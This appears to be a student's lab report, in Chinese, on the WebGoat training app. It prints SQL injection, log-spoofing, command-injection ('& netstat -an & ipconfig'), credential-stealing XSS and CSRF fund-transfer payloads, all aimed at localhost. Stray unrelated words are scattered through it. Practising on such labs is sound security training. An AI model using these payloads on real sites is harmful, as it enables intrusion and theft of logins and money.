一、SQL注入攻擊原理,如何防護html
二、XSS攻擊的原理,如何防護git
三、CSRF攻擊原理,如何防護github
安裝Webgoat(在網上找到並下載安裝包 )
web
瀏覽器登錄http://localhost:8080/WebGoat
進入Webgoat,用下方的用戶名及密碼進行登錄
sql
登錄成功界面
瀏覽器
在複選框上右鍵,選擇inspect Element
,對源代碼進行修改,在源代碼複選框內容第一排後添加or 1=1
安全
成功
cookie
User Name
中填寫20165227%0d%0aLogin Succeeded !admin
在複選框上右鍵,選擇inspect Element
,對源代碼進行修改,在複選框的某一選項中加入"& netstat -an & ipconfig"
網絡
顯示攻擊後的結果
session
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
<script>alert("5228 is 5227's son");</script>
<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=10000"/>
<iframe src="attack?Screen=324&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=324&menu=900&transferFunds=CONFIRM"> </iframe>
在登錄Webgoat的時候,界面顯示有問題,找不到攻擊的教程經過同窗的幫助才知道是JDK的版本不適配
經過同窗的幫助才知道是JDK的版本不適配,從新安裝了JDK1.8